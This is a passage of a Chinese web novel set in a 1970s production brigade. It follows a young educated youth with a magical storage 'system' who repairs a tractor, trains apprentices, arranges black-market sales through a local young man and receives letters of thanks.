此时，程十一才注意到门口也不知道什么时候站了那么多人，少说也得有十几个吧！ 此时那些人正虎视眈眈的看着自己，好像下一秒就会冲进来将自己撕碎。 有那么一刻，程十一竟然感觉自己是被一群饿狼盯上的小绵羊。 “你们干什么？” 程十一抬手用手背抹了一下额头，忙活得有点投入，还别说，有点热。 随着她的举动，那张原本就沾染了黑色的小脸儿上陡然又多了一道黑色的印记。 门口众人：…… “是，是小程知青？” 其中一个婶子不确定的问：“你是小程知青不？” “是我啊！” 程十一眨巴眨巴眼，更不解了：“怎么了？” “小程知青，真是你啊！我们还以为哪个小贼胆大包天的来偷咱们大队的拖拉机嘞！” 那婶子一拍大腿，哈哈大笑起来：“原来是小程知青，那肯定没事了。” 其他人也赶紧纷纷附和：“对对对，肯定没事了。” “小程知青啊，那你忙着，俺们先回去做饭了哈！” “小程知青，我家中午吃大碴粥，等会儿婶儿给你端一碗过来啊！” 第194章 收尾就收尾，他认了 面对这些突然变得非常热情的社员们，程十一一时间还有点不适应。 如果她没记错的话，好像在前不久她还用菜刀对着这帮人比比划划来着。 这些人就这么的……不记仇吗？ 程十一没啥反应，反倒是这帮人身后传来了替她解围的声音。 “干啥呢干啥呢？都在这里干啥呢？大中午的不赶紧回家去做饭，是想下午都耽误上工了是不是？” 顾草根骂骂咧咧的声音从大院门口传过来，让挤在仓库门口的十几个人呼啦啦的全都散开了，讪讪的和顾草根打了招呼就赶紧溜回家去做饭。 上工这事可耽误不得。 “丫头，你过来了。” 顾草根还没等看到程十一，就先笑呵呵的打招呼了。 可等他看清程十一的样子后，他脸上的笑容就是一僵。 好家伙，这是谁家的小花猫成精了？ “大队长，你来了，拖拉机手你选好人了没？” 程十一也没看顾草根，而是继续为拖拉机做检查：“对了，耿知青和祝知青都不打算当拖拉机手，这事你知道了不？” “知道了，他们俩一早就和我说了。” 提起这个，顾草根就是一阵唏嘘。 瞧瞧人家知青多有深沉啊，知道这活不好和社员们抢，竟然到手的机会都给主动拒绝了。 “行，那你抓紧找好合适的人手。” 程十一可不知道顾草根的想法，自顾自的说自己的要求：“要踏实肯干的，能吃苦，不怕脏不怕累的人，对了，还有不能是碎嘴子，必须要听我话，服从安排的才行。” “这个你放心，叔心里有数。” 顾草根对于这些要求一点都不觉得过分。 看着程十一拆了这个拧那个，看得他眼花：“丫头啊，中午了，你也别干了，中午就去我家里吃吧一口，我让你婶子多做了你的那一份。” “不用，娇娇姐姐等会儿就过来喊我回家了。” 程十一不打算去大队长家吃饭，主要是现在的口粮都不多，她不想去占这个便宜。 大队长还要说什么，就听见了陈丽娇在喊程十一。 程十一当即停下手里的工作，对着大队长招呼道：“叔，劳烦你把门窗关好，上好锁，我就先回去了哈！” 说着，人就已经一路小跑着出去了。 顾草根：…… 合着他就是来做收尾工作的呗？ 行，收尾就收尾，他认了！ 陈丽娇一看到脏兮兮的程十一，当即就皱了眉，很是心疼的说道：“你咋弄成这样了？过来，我给你擦擦。” 说话间，陈丽娇已经拿出了自己的手帕要去给程十一擦脸上的油污，却被程十一躲过去了。 “别擦了，我回去好好洗一洗就行。” 程十一也知道自己现在肯定特别狼狈，但是没办法，做这种维修的活就没有几个能保证一直都是干干净净的。 所以她很着急带出徒弟来，到时候可就不用自己亲力亲为了。 不得不说，顾草根的行动力是真的快。 吃过饭，程十一休息了一会儿就去了大队部，结果就看到存放拖拉机的仓库大门开着，窗户也开着，里面还有说话声传出，是顾草根正在教训人的声音。 所谓的教训也不过是让他们好好学习，要听小程知青的话之类的。 程十一到了门口，才发现来的并非只有两个人，而是四个人。 “我挑了四个人，你看看他们谁能行就留下谁。” 顾草根解释道：“这四个人今天下午就跟着你，每个人都按照五个工分算。” 一下午就是五个工分，可以说是补了他们没有去地里上工的空缺。 程十一没意见，当即就开始指挥起来。 先拆零件，拿着扳手在一堆布满脏污的板材上将螺丝拧下来。 那是真的脏，清水都洗不干净的那种，气味也不算好闻。 来的四个人全都是二十左右岁的小伙子，一个个的倒是都不嫌脏，但并不是每个人都能快速的将螺丝拧下来。 拧下来的螺丝被堆放在了一起，程十一就让他们分辨这里面有多少种螺丝。 除了看起来有着明显尺寸不同的螺丝外，其它尺寸相似的螺丝想要凭借肉眼很难一眼就分辨出来。 结果都没用上一整个下午，程十一就直接让其中两个人离开了。 他们不仅拧螺丝的速度慢，分辨螺丝更是费劲，远不及另外两个。 被赶走的两个人不情愿是真的，可也没办法，毕竟都土当场设置考题，他们自己没那个本事，这也怨不得别人。 剩下的这两个人一直忙活到了天色都暗下来了，屋里的光线更暗，实在是看不清楚了，程十一这才让俩人关好了门窗，又让过来的大队长将门上了锁，这才分开各自回家。 接下来的两天时间，程十一是一边维修机器，一边给两个人讲解。 这次也不用他们动手了，而是让他们拿着纸笔做记录。 这俩人都上过学，一个是初中毕业，另外一个是高中肄业，之所以肄业，是因为学校的老师都被送去农场了，根本没人能上课。 本来凑合凑合挺到高二的话也能混个毕业证，可这人家里的老人病了，他又不想在学校里跟着那些人一起闹腾，索性就选择了退学，回到家里照顾老人，还能上工赚工分。 整体来说，俩人做个笔记是肯定没问题的。 程十一讲得快，俩人就只负责记录，哪怕有不懂的地方也只会标记下来。 这都是程十一的要求。 一转眼，拖拉机修了五天了。 拖拉机厂准备的零件被用了大半，还剩下一些的螺丝螺帽之类的有剩，被程十一交给了顾草根，让他保存起来，万一以后有需要更换的地方用着也方便。 除了拖拉机厂准备的那些零件外，程十一也从系统空间里拿了一些零件出来。 报废拖拉机的零件倒是能用，但肯定不怎么耐用，索性就换成二手拖拉机上的零件，使用时间更长一些，也更安全。 到了程十一回大队的第六天，这一天上午，社员们还在田间忙着秋收，突然就听见大队里面由远及近的传来一阵突突突的声音。 这声音着实把听见的人全都吓了一跳，纷纷停下手里的活，直起腰朝着声音的来源看。 第195章 去找欧阳城 光荣大队有拖拉机了！ 不再是那种靠着人力抬着才能移动的摆设，而是真真正正能够突突突开着跑的拖拉机。 虽然还没有车斗，可光是一个车头也足够让所有人都兴奋。 原本在田间地头玩耍干活的小孩子们也不在玩了，全都追着拖拉机的车头跑。 地里干活劳作的人们也都忍不住的朝着路边走，都想近距离的看一看拖拉机。 顾草根这会儿已经是老泪纵横。 他是真的没想到在他的任期内，他们光荣大队竟然能添置这么一个大家伙事。 这下就算是明天就让他不当大队长了，他也不失望了。 程十一开着拖拉机，身边坐着的是自己的两个徒弟，就这样在路上突突了两圈，这才停回了大队部的院子里。 “没什么大问题了，现在就差个车斗，还有相应的配套工具，只要东西配齐全，咱们的拖拉机随时都能下地干活。” 随着程十一的话，两个徒弟也是激动得眼圈都在泛红。 程十一又道：“你俩休息一下，明天一早过来，到时候我教你们怎么开拖拉机。” “是，师父！” 两个人的年纪都比程十一大，但这一声师父却喊得特别发自内心。 程十一摆摆手，早就不在意这俩人怎么称呼自己了。 她要回去好好洗个澡，再好好的睡一觉。 就为了这么一个拖拉机，她这几天来可以说是快累趴下了。 晚上做梦都是在维修拖拉机，实在是太过辛苦。 如今拖拉机已经修好，现在的她就只想好好的睡一觉。 只是程十一感觉自己才睡没多会儿，就被院子里的喊声唤醒。 声音是从隔壁陈丽娇的院子传过来的，但声音不是陈丽娇，而是顾草根。 程十一打着哈欠打开了窗户，揉着眼睛问：“啥事？” “丫头，咱们等下要去公社问问车斗和其他配套设备的事，你跟着咱们一起吧！” 不用看，光是听那语气，就知道顾草根此时的心情有多好。 “不……” 程十一下意识的就想拒绝，可话到嘴边又咽了回去。 她去公社没什么事，但……县城得去一趟。 今天不去，那明后天也得找个时间去。 可接下来是教那俩人开拖拉机的事，回头还要尝试在田间地头干活，这些都少不了自己要在旁边看着。 真要单独请一天假去县城，怕是不容易。 “行，等下，我换身衣服！” 程十一高声回应，随即关了窗户，快速的洗了把脸，换身衣服便出了家门。 离开自家时，程十一和顾草根说了自己要去一趟县城的事。 顾草根不理解：“你不是刚回来没几天吗？咋又过去？” “去取包裹。” 程十一吸了吸鼻子：“有人送的谢礼，不过对方不知道我具体在哪个大队下乡，就只邮寄到了县城，我要是不过去取，那东西万一放坏了就白瞎了。” 顾草根表示不理解，但给假给得痛快。 到了公社，程十一就自己去往公交车站走。 这个时候说有公交车也行，说没公交车也可以，主要看运气。 如果公交车很空的话，可能会多等一段时间，但如果满员了，那真是不提前出发都算司机有耐心。 顾草根显然是知道这一点的，特意叮嘱了下，如果没车就在公社住一晚。 程十一嘴上答应着，但心里却有自己的打算。 如今她的系统仓库里可是停着一辆二手黑色轿车，没有牌照。 不过这都不重要，她就是用来代步的而已，还是不能被人发现的那种。 唯一需要做的就是找个没人的地方将车拿出来，然后上车开车走人。 路上就算遇见了车或者人也不用担心，反正车速在那摆着。 一直走出公社差不多一里地了，左右全都是荒地，别说是人了，连棵树都没有，程十一这才拿出了自己购买的二手轿车，上车，启动，给油，走你！ 自己开车，感觉着实要比坐公交车舒服太多，车速也明显快了不少。 等到了县城时，也才不过刚刚天黑。 寻了个没人的地方将车收起来，换了一辆自行车出来，骑上朝着欧阳城家而去。 还是那条巷子，还是那扇小门，敲门，等待，开门，就看到了欧阳城。 欧阳城显然没想到程十一会这么早过来，赶紧侧身请人进屋。 屋里还是弥漫着明显的药味，不过倒是有了亮光。 是一盏煤油灯。 炕头上，瘦小的老太太正靠着被垛子，两只手正在用竹条编个筐。 听见声音，老太太朝着门口看过来：“小城啊，谁来了？” 听那声音就很紧张。 欧阳城连忙介绍：“奶奶，是之前来过咱家的那个女同志。” 程姐这个称呼，欧阳城是真的叫不出来。 程十一也不在意，笑着主动打招呼：“欧阳奶奶，您好啊！我又来看您了。” 说着，还将手里提着的布兜放在了炕上。 老太太一听这声音，明显松了口气，同时也是明显的高兴起来：“是你啊！你可有些日子没过来了。咋这时候来了？吃没吃饭呢？小城，赶紧给小同志做点吃的。” “不用不用，我们几个朋友聚会，我这是来找欧阳城一起去的。奶奶，能不能让欧阳城跟我离开一段时间啊？我们保证不喝酒，就坐下来吃点东西，聊聊天。” 程十一笑着看着老太太，能够看得出来，老太太在努力的看自己，可那双眼睛却像是被一层白膜覆盖。 欧阳城看着程十一，表情有点复杂。 这么晚叫自己出去，这个女同志是真的不知道什么叫避嫌啊！ 老太太一听，压根没犹豫，立刻点头：“行的行的，到时候让小城送你回去，你一个女娃娃可千万别走夜路，不安全，知道不？” “哎，谢谢奶奶！” 程十一应了，这才看向欧阳城：“现在走？” “行。我给炉子里添把柴就好。” 欧阳城说着就已经忙活开了。 程十一也没着急起身，而是看着老太太手里编织了一半的筐。 不大，但看得出来编得很密实，质量不错。 第196章 出货 老太太的手指头上都绑着胶带，可就算这样，手指上也还是有不少的疤痕。 程十一垂下眼睫，没有再去细看。 欧阳城跟着程十一出了自家胡同，这才反应过来程十一的袋子没有拿，赶忙出声提醒。 程十一则是摆摆手：“那是给老太太带的东西。” “谢，谢谢。” 欧阳城感觉自己的脸更烫，也说不出是感动还是别的什么情绪，总之就是……自己真的是越欠越多了。 来到马路上，这会儿路上已经没有行人，路边就只站了他们两个人。 程十一问：“让你租的房子租到了吗？” “租到了。” 欧阳城赶紧抬头，又紧张的朝着四周看了看，这才压低声音说道：“距离这里有些远，走路差不多要半个小时。” “一边走一边说。” 程十一抬了抬下巴，示意对方带路。 欧阳城也不啰嗦，当即朝着一侧走去，同时低声介绍起了那个房子的情况。 说是房子，不如说是个破旧的院子，据说里面死过人，而且还不是正常死亡的。 但欧阳城已经去查验过好几次了，即便是大半夜的也去守过，压根就没有任何危险，别说是人了，就连耗子都没瞧见过。 而院子里的房子也破损了大半，如今残存下来还还能用于居住的还有两间。 “之前应该是被人光顾很多次了，那院子里已经没有什么可用的东西。我也是无意中听说了那院子的房主去外地，想将房子处理了，但是没人敢接手。我寻思着你要租院子的语气好像挺着急的，就做主租了下来。半年十块钱。” 欧阳城越说越不好意思。 他这算不算逾矩了？ 程十一对于死过人的房子什么的倒是并不在意，要是在意，那上辈子她早就死了，也不可能还会在天灾末世中苦苦挣扎那么长时间。 “行，先租半年，其他的以后再说。” 半年十块钱租金，程十一是真不觉得贵，甚至可以说是非常便宜了。 收拾收拾，如果可以的话，等猫冬的时候自己倒是可以考虑过来住一段时间。 两个人的脚程都很快，说是半个小时，实际上也就二十分钟，俩人就到地方了。 这院子很偏僻，周围都没什么人家。 原本长得老高的野草在夜里随着夜风吹动摇摆，瞧着格外渗人。 程十一直接从挎包里拿出了手电筒，俩人就这么来到了大门前。 院墙倒是还算完整，差不多一米七八的高度，一般人想要直接看到院子里面并不容易。 大门上有明显的划痕，不过还挺结实的，没坏。 门上上了锁，钥匙就在欧阳城手里。 院子不算小，虽说没有影壁之类的，但也看得出来以前住在这里的人家境应该也算不错。 只不过两侧的厢房都已经坍塌得差不多了，只有正屋最中间的堂屋还在，以及堂屋旁边的茶水间还有屋顶，至于其他地方的房子大部分就只剩下了残垣断瓦。 是真够破的。 程十一暂时没有来这里猫冬的想法了，还是在大队里猫着吧，她那小院其实也挺好的。 “黑市那边你有门路吗？” 程十一突然问了这么个问题。 欧阳城是真没想到对方会问这样的问题，怔愣了下，这才犹豫着点点头：“之前去那里卖过东西，换了钱给我奶奶看病。” “门路靠不靠得住？我这里有些货要出，我给你一个底价，你去和黑市的人谈。谈得价格高了，差价都是你的。” 程十一指了指堂屋的方向：“如果你同意，我回头就让人将货送到这里来，你想办法搬出去，记住，不能让别人知道这里。” “行。” 欧阳城答应得特别痛快，几乎是没有任何的犹豫。 他缺钱。 要还眼前这个小姑娘的钱，还要继续给奶奶看病抓药的钱，以及他们祖孙俩的吃饭钱。 程十一很满意对方的干脆，直接摆摆手：“行了，你骑自行车回去吧！明天晚上你过来这里搬东西，自行车就暂时留给你来回运货用。” 自行车，自己还有，还都不是新的。 欧阳城的心情更复杂了，想了想，这才问：“你真的不怕我跑了吗？” “跑？” 程十一轻笑：“如果你有本事跑，那就跑，当然，你记住，千万不要被我找到你哦！” 明明是带着笑的语气，可却听得欧阳城后脊梁骨一阵发寒。 程十一从挎包里拿出了一个白色的塑料瓶，上面只写了三个字“眼药水”。 将东西丢给欧阳城，同时说道：“这是眼药水，每天三次给老太太的眼睛滴两滴。” “谢谢。” 欧阳城也不知道是不是自己越来越不要脸皮了，竟然没有半点犹豫的就选择了接受对方的东西。 程十一摆摆手：“你走吧！我的人马上就会找到这里，你留在这里不合适。” 本来欧阳城还担心程十一一个女同志留在这里不安全，可是一听这话，他就不说什么了，推着刚刚程十一推过来的自行车就走。 程十一站在门口，看着欧阳城有些摇晃的骑着车离开的身影，忍不住啧啧了两声。 好家伙，还以为这家伙会骑自行车呢，感情这是……现学啊！ 不过现学就现学吧！反正只要他不影响出货就行。 程十一是不打算自己亲自去黑市交易，但如果有个中间人来为自己办这件事，那么黑市绝对是个赚快钱的好地方。 就是这第一次出货，她到底要出些什么才好呢？ 粮食应该都缺，但现在是秋收了，马上新粮就会下来，现在卖粮食不见得能卖出多好的价钱。 可太好的东西也不行，以欧阳城目前的身份来说，真要出手太好的东西怕是反而会惹火上身。 想了又想，程十一最终决定拿出两头野猪出来。 这野猪可不是山上的纯天然野猪，而是人工养殖出来的野猪。 比真正的野猪肥一点，又不如真正的家猪肥。 另外再弄了几根二三十年份的人参。 不是野山参，同样也是养殖的。 再弄出两百个鸡蛋，全都用筐加干草装好，堆放在堂屋中，之后程十一就闪身进了系统仓库。 这里距离最近的招待所也不近，她不想大晚上的来回走了，还是进系统仓库对付一宿吧！ 第197章 越是担心什么就越来什么 第二天早上六点，程十一被亲亲系统喊醒了。 在系统仓库洗漱好，穿戴整齐，她便出了仓库。 将屋门和大院的门锁好，拿出自行车，程十一便一路朝着最近的国营饭店而去。 至于最近的国营饭店在哪里？ 不知道，反正闻着味儿肯定能找到。 到了国营饭店，吃过早餐，程十一又一路询问汽车站的方向。 不是她想坐公交车回去，而是只有到了汽车站，她才知道要怎么才能找到回公社的路。 中间路过了两家供销社，程十一也没白白路过，进去溜达一圈，出来的时候就已经是大包小裹。 寻个没人的地方将东西丢进系统仓库，然后继续骑着自行车朝着县城外赶。 一直到了前后左右都瞧不见人的地方了，这才拿出小轿车来，一脚油门冲出去。 真是又舒服又暖和，可比坐在公交车上闻着各种各样复杂的气味好多了。 快到公社时，她收了小轿车，又拿出了一辆明显很旧的三轮车出来。 好的，但就是旧。 又将在县城买的东西全都放在三轮车上。 一共三个大筐，半人高的那种，特别能装。 上面都盖着黑布，黑布上面还分别用两颗大白菜压着，那叫一个严实，根本让人看不见筐里面放了什么。 三个大筐几乎站满了整个车板，可就算这样，程十一也还是在缝隙里挤着放下了好几个麻袋。 麻袋上面黑漆漆的，看着就脏，而麻袋里面放着的则是煤。 本来不想这么早将东西全都放车上的，毕竟她骑车也怪累的。 但是没办法，她不确定会不会在公社遇见熟人啊！ 万一遇见了，不顺路回大队的还好，可万一一起回大队呢？自己还怎么将东西都变出来？ 正所谓越是担心什么就越来什么。 刚刚路过公社大门，程十一就听见有人叫自己的名字。 回头一看，程十一的眉心就是一跳。 好家伙，不是遇见了一个熟人，而是遇见了好几个熟人啊！ “小程知青，还真是你啊！” 大队妇女主任王彩芬头上戴着大红头巾，穿着一件半新的红色碎花小棉袄，下面是黑色的裤子。 程十一看得嘴角直抽抽。 好家伙，这大姐是一大早上就从大队出发的吧，要不然咋还能穿这么多呢？ 现在的天凉是凉，可那是针对一早一晚的，大白天的，这个穿着着实是让人有些热了。 而跟在王彩芬身后的则是大队长顾草根，以及会计钱大成。 啧，大队干部出来了一半了，这得是多大的事啊！ 心里吐槽归吐槽，程十一表面上还是停下了三轮车，侧身对着他们招招手：“主任，大队长，钱会计，你们来公社开会啊？” “开啥会！” 王彩芬已经跑到了跟前，有些气喘的说道：“是来催车斗和配套设备的事了，咱们的拖拉机都被你修好了，也不能一直只有一个脑袋啊！” “哦哦。” 程十一了然的点点头，又问：“那你们这是办完事了？” “办完了。” 王彩芬说着，直接坐在了三轮车一侧的架子上：“让我缓口气，这两步跑得，我差点没岔气。” 程十一无奈，但也不可能让人下去。 顾草根也过来了，看看程十一，又看了看三轮车，最后看看车板上的东西，他的嘴角明显的抽了抽：“丫头，你这是去县里打劫去了？” “大队长，说啥呢！我是那样的人吗？” 程十一没好气的翻白眼：“你这话要是让外人听了去，不得把我抓起来教育啊！” “哈哈哈，叔那不是说笑呢么！” 顾草根也知道自己说错话了，连忙道歉：“你别和叔一般见识哈！” “哼！” 程十一傲娇的哼了哼，又问：“你们这是打算咋回去？大队的牛车出来了？” “没。” 顾草根摇头：“秋收呢，牛可不能总往外跑。我们三个走着来的，一辆自行车坐不下我们三个人。” 程十一眉心一跳。 好家伙，这样自己还能一个人骑着三轮车回去吗？ 必然不能了！ 但…… 车上的东西多是多，但其实份量并不是很沉，毕竟就是装个样子的，看着多而已。 要是让这三个人坐车，那骑车的肯定不能是自己了，可如果不是自己，这东西…… “咱们先去国营饭店吧！我还没吃早饭，快饿死了。” 程十一提议。 顾草根一想到程十一花钱的那个架势，瞬间摇头：“我们三个还不饿，你去吃吧！我们三个先回去了。” 说完就扯了下钱大成的胳膊。 钱大成却摇头：“我也得去一趟国营饭店，答应家里孩子了，带肉包子回去的。” 王彩芬也道：“我得去一趟供销社，好几家都托我买东西回去呢！” 顾草根：…… 得，就我一个是闲人呗！ “好了，先去国营饭店，先把饭菜点了，然后再去供销社。正好，我也看看供销社有没有啥好玩意儿。” 程十一立刻做总结。 顾草根直接气笑了，指着三轮车上的东西骂道：“你还买？你看看你这都多少东西了？啊？还买？” 程十一耸耸肩：“有好东西肯定要买啊！再说了，这也不是我一个人要买，我出来的时候娇娇姐姐他们就说了，如果供销社有好东西就让我带回去，回头他们再给我钱和票。” 顾草根再次无语。 得，算他瞎操心。 去了国营饭店，程十一让他们先进屋，就连刚刚这短短的一段路都没敢让他们动手帮忙推车。 这会儿其实还没到饭口时间，程十一是开轿车回来的，速度本来就比公交车快，更何况还是提前出发，所以这会儿时间也早。 路上都没几个人，程十一就直接将手伸进了筐里。 就只是眨眼间，筐里面原本放着的破旧被褥瞬间被各种物资取代。 三个筐都是如此。 至于麻袋，她倒是没动了，因为麻袋里面装的真的是煤。 做好这些，车轮胎有了些许变化，但还在可控范围内。 锁好车，程十一就进了国营饭店。 车就停在窗户下面，在屋里看不到三轮车，但如果有人靠近，那真是一看一个准儿。 再加上程十一还有系统帮忙看着，就算有人想要弯腰靠近都能在第一时间察觉。 第198章 梦想总是美好的 这次程十一倒是没有大鱼大肉的吃，只是买了不少包子饺子，全都用油纸打包装好。 饭盒倒是也有，但不好一下子拿出来那么多。 自己在国营饭店就吃了一碗面条。 其实不太饿，早上吃得挺饱的。 钱大成买了五个肉包子打包带走，自己也吃了一碗面。 顾草根和王彩芬倒是没买包子，不过同样的一人吃了一碗面。 不同的是，只有程十一吃的是肉排面，另外三个人全都是素面，连个鸡蛋都没有的那种。 吃完了去供销社。 王彩芬是真的帮人带东西回去的，别的不说，光是针头线脑就买了不少，一个个的全都用油纸包大包装好，足足七份。 还买了些点心，同样的都是一份一份的。 她还拿出随身带着的钢笔在上面写上了名字。 程十一看得头皮发麻。 还好她和社员们的关系没亲近到这地步，否则岂不是自己每次出来都要帮忙采购？ 那画面，她真是想想都不乐意。 她自己也没在供销社买什么东西，主要是这里有的，县城的供销社都有，而且看着还比这里更新鲜些。 价格上反而要比县城的贵一点。 没必要花那冤枉钱。 回去的路上，先是顾草根蹬车，后来变成了钱大成蹬车。 不过钱大成显然是没骑过这种三轮车，骑得那叫一个胆战心惊，歪歪扭扭，最后还是程十一看不下去了，直接将人赶去坐车，她亲自上阵。 一个瘦小的小丫头骑着三轮车，车上面又是东西，又是大活人，那画面着实是看着诡异。 王彩芬就要跳下车自己走，顾草根更是要继续接手骑车的活，却被程十一否了。 “你们就安心坐着吧！这点力气我还是有的。” 程十一蹬着车，并没有表现出太过吃力来。 这三轮车虽然是旧的，但性能却并不差，只是外观上有所欠缺而已。 再加上程十一的力气也不小，座位更是调整过，刚刚好适合她目前的身高，所以骑起来比之前辛苦了些，但还在能接受的范围之内。 四个人着实是拉扯了好一会儿，最后没办法，都拧不过程十一，只能是三个大人坐车，程十一骑车。 一路风风火火的回到了大队，道路两边干活的社员注意到这一幕，一个个的全都瞪大了眼睛，像是看什么西洋景儿似的。 很快，整个大队都传出了小程知青特别有力气的传闻。 也有人想起了秋收刚开始时的那一场雨，小程知青那可是冒雨冲过来帮忙搬粮食的。 除了身高不够外，那力气确实是实打实的存在。 出去一趟，就帮大队买了拖拉机回来，证明人家有人脉，有能力。 能将拖拉机修好，突突突的满大队跑，说明人家有本事。 现在一个人骑着三轮车载着一车的东西不说，还有三个大活人，证明人家有力气。 再加上那张小脸儿其实也挺耐看的，这样的姑娘，除了瘦了些外，简直是哪哪都好。 这要是娶回家当儿媳妇儿，那简直不要太美好啊！ 于是从这天晚饭之后，妇女主任王彩芬家就不得消停了。 来了好几拨人了，全都是询问小程知青的那一三轮车上装的都是什么的，问着问着，就变成了小程知青今年多大年纪，家里还有什么人。 王彩芬是什么人？ 她可是光荣大队的妇女主任，天天的都在和大队上的这些老娘们打交道，不说她们一撅腚，自己就知道她们拉什么屎吧，可也能一下子就听出来这些人的目的是什么。 那真是，气得她直接笑出来了。 来一拨，骂走一拨。 一个晚上下来，王彩芬的嗓子都骂哑了。 而风暴中心的程十一压根就不知道这些。 她正在分赃，不，是分脏，煤炭带来的那个脏。 给三个小伙伴一人分了一麻袋的煤块。 她不要票，就只要钱。 三个人都不是差钱的主儿，自然是给得痛快。 要知道煤可比木头耐烧多了，冬天睡觉之前往灶里加上煤块，窗户留条缝通风，剩下的就不用管了，一个晚上的炕都是热乎的，完全不用大半夜起来再添一把柴。 就是煤不算多，一人也就分了不到一百斤。 可十一同志说了，回头有机会了就再弄点回来，让他们尽管放心用。 十一同志是谁？那可是能弄到拖拉机回来的好同志啊！她的话，那必须信！ 至于三个大筐，里面放着的东西也询问了三个小伙伴。 里面有包括但不限于细粮、鲜肉、鱼，甚至是其他各种物资。 数量不算多，但也绝对不少，至少他们四个人分一分，那也是绝对能过上一段潇洒日子的。 秋收了，大家都累，谁都想多吃点好吃的给自己补补。 他们三个都不差钱，自然是纷纷出钱分了这些物资。 至于怎么吃，就等吃的时候再决定。 等到全都收拾好忙活完，程十一就想躺炕上歇会儿。 开车倒是不累，但骑车累啊！ 本来可以一路轻装简行的回来的，可就因为遇见了三个熟人，还是不能看见了装没看见的熟人，她只能是化身苦力小可怜儿了。 可她刚躺下，还没等睡着，就听见大门被人拍得砰砰响，同时还有熟悉的声音传进来。 “师父，师父你回来了吗？” 一听这个称呼，程十一的眼皮就是一阵狂跳。 麻蛋的，忘了自己还有两个徒弟正等着自己指导拖拉机驾驶呢！ 奶奶个爪的，她就是个劳碌命啊！ 认命的爬起来，和外面的人招呼了声，又换好了衣服，程十一就出门了。 休息是不可能休息的，还是赶紧教学吧！ 到时候教会了徒弟，她这个师父也就可以真真正正的躺平休息了。 只是，梦想总是美好的。 就在程十一利用三天时间让两个徒弟全部出师，可以驾驶拖拉机车头满大队跑时，公社来消息了，让他们光荣大队开着拖拉机去公社拖车斗和配套设备回来。 一听这个消息，不管程十一怎么保证两个徒弟已经出师了，可顾草根就是要求她必须亲自开着拖拉机去。 最后的结果就是，程十一在两侧分别坐了两个人的情况下，开着拖拉机头，一路突突突的前往公社。 第199章 外地来信 光荣大队有拖拉机了！ 带车斗的那种。 一路上风风火火，就连买燃油的时候，顾草根都难得的没有表现出心疼的表情。 回到大队，顾草根直接让程十一开着拖拉机去运粮食。 程十一不干了。 干啥啊这是，她又不是没教会徒弟，为啥还让她亲力亲为的来回跑？ 她这小脸儿都快被风吹皱巴了。 “大队长，我脚疼，你还是让他们俩去开拖拉机去吧！” 程十一抬了抬之前受伤的脚。 伤早好了，但不妨碍她再拿出来装柔弱。 顾草根刚要骂人，突然想到什么，眉头一皱：“你是不是好几天没去卫生所换药了？” “我自己在家换的。” 程十一脸不红心不跳的瞎扯：“我从老家医院开的药，每天都自己换药，要不我现在把鞋和袜子脱了给你看看？” 说着，程十一作势就要脱鞋。 顾草根嘴角一抽，连忙制止：“别，不用不用。那你的伤还没好，你就回去歇着吧！不过拖拉机这个，交给他们两个愣头小子我不放心，那就等明天你恢复……” “大队长！” 程十一猛地拔高音量：“您这样是不行的！您要多给年轻的小同志表现的机会！而且他们都是我亲手教出来的，他俩的技术不如我，但在咱们大队里来回拉个粮食啥的都不成问题，不信你问他俩！” 赶紧看向自己的那两个便宜徒弟，还不停的给他们两个使眼色。 反正她要撂挑子，她不干了，她要好好休息。 两个年轻人相互对视一眼，哪里能不明白师父的意思。 心里多少有点紧张，但更多的还是兴奋和期待。 他们俩确实是会驾驶拖拉机了，就是没驾驶过带车斗的，多少有点紧张。 “大队长，要不然让我俩试试吧！” “是啊，大队长，我俩之前开着拖拉机车头都溜达好几圈了，师父也说我俩驾驶得不错。” 两个人都想尝试一下。 顾草根感觉自己的手掌有点痒，想给这俩小子一人一巴掌。 程十一则是对这俩人叮嘱道：“虽然现在多了个车斗，你俩别忘了，之前我教你俩的时候也说过的，开拖拉机需要住些什么，咱们还帮着木头桩子和棍子尝试过。” 被她这么一提醒，俩人也想起来了。 虽然之前没车斗，但师父特别有办法，弄了大树干回来，放平后绑在车头上。 感觉肯定是有差别，可也不算是什么都没练过。 程十一又道：“你俩全都上车，一个人看着前面，一个人看着后面，相互提醒，相互帮助。开的多了，有经验和手感了，你俩以后的驾驶技术肯定不比我差。” 叮嘱有了，夸奖有了，两个年轻小伙子的脸都有些红，也不知道是被夸的还是激动得。 一旁的顾草根看得有些怔愣。 不是，他好像还没点头吧？怎么好像事情就这样定下来了呢？ 往年秋收，整个大队只要还能动弹的，那就得下地干活，最差的也得是守着扬场看着刚收上来的粮食。 谁敢在这个时候躲懒不干活，扣工分都是小事，保不齐都得被围起来教育。 但是今年的秋收，程十一成为了唯一的例外。 好手好脚不下地干活就算了，甚至还能在炕上呼呼大睡，愣是没有一个人觉得这样做有问题。 拖拉机的到来大大的提高了运输效率，解放出来的人手可以加入到其他劳动中。 原本还有半个来月的秋收就这样在不到七天的时间完成了。 看着扬场上晒着的粮食，顾草根的心情那叫一个激动澎湃。 虽然他们的收成不是最好的一年的，但速度绝对是最快的一年。 秋收结束后，只有一部分人留下来继续晒粮食，而大部分人都上山开始捡柴、挖野菜之类的工作。 要入冬了，各家各户都需要大量的柴禾用于供暖。 程十一和三个小伙伴也加入其中。 不过两位男同志负责捡柴，而程十一和陈丽娇则是负责准备上山的食物，至于野菜，想挖就挖，不想挖就不挖，左右四个人也都不缺这点吃的。 倒是遇见了其他山货，四个人都会弄一些回去。 多了也没有，他们四个人不可能脱离大队伍走得太远，而和大队伍一起，那就意味着东西多，人更多。 左右够自己吃的也就行了。 但程十一他们没有太多的山货，可却不代表其他人也没有。 转眼就到了交公粮的日子，程十一懒得凑热闹，左右两个徒弟也已经完全出师了，不用她跟着，索性就在家里躺着。 半上午时，大门口突然传来一阵阵自行车车铃的响声，接着就是一个男人高喊：“程十一同志，程十一同志，有你的信！” 正在躺在炕上晒着太阳准备睡一觉的程十一蹭的一下坐了起来，趿拉着鞋就往外面走。 外面的邮递员又开始喊陈丽娇的名字。 陈丽娇有一封信，另外两位男同志没有信，但有包裹，需要自己去邮局取。 程十一则是一下子收了三封信。 两封来自花市，一封来自京都。 打开花市的两封信，一封是阮兴国写的，里面还夹着另外一个信封，是阮玲玲的字迹。 阮兴国说了下机械厂的机床在按照程十一给的资料进行修改后，工作效率有了很大的提高，而且出错率极低，所以特意写封信来感谢程十一，同时还寄了二十斤的全国粮票过来，算作额外的谢礼。 阮玲玲的信就长多了，整整四页纸。 小丫头的字迹中规中矩，还挺秀气的。 其中写了最近发生的事，尤其提到了程十一之前送她的山货特别好吃。 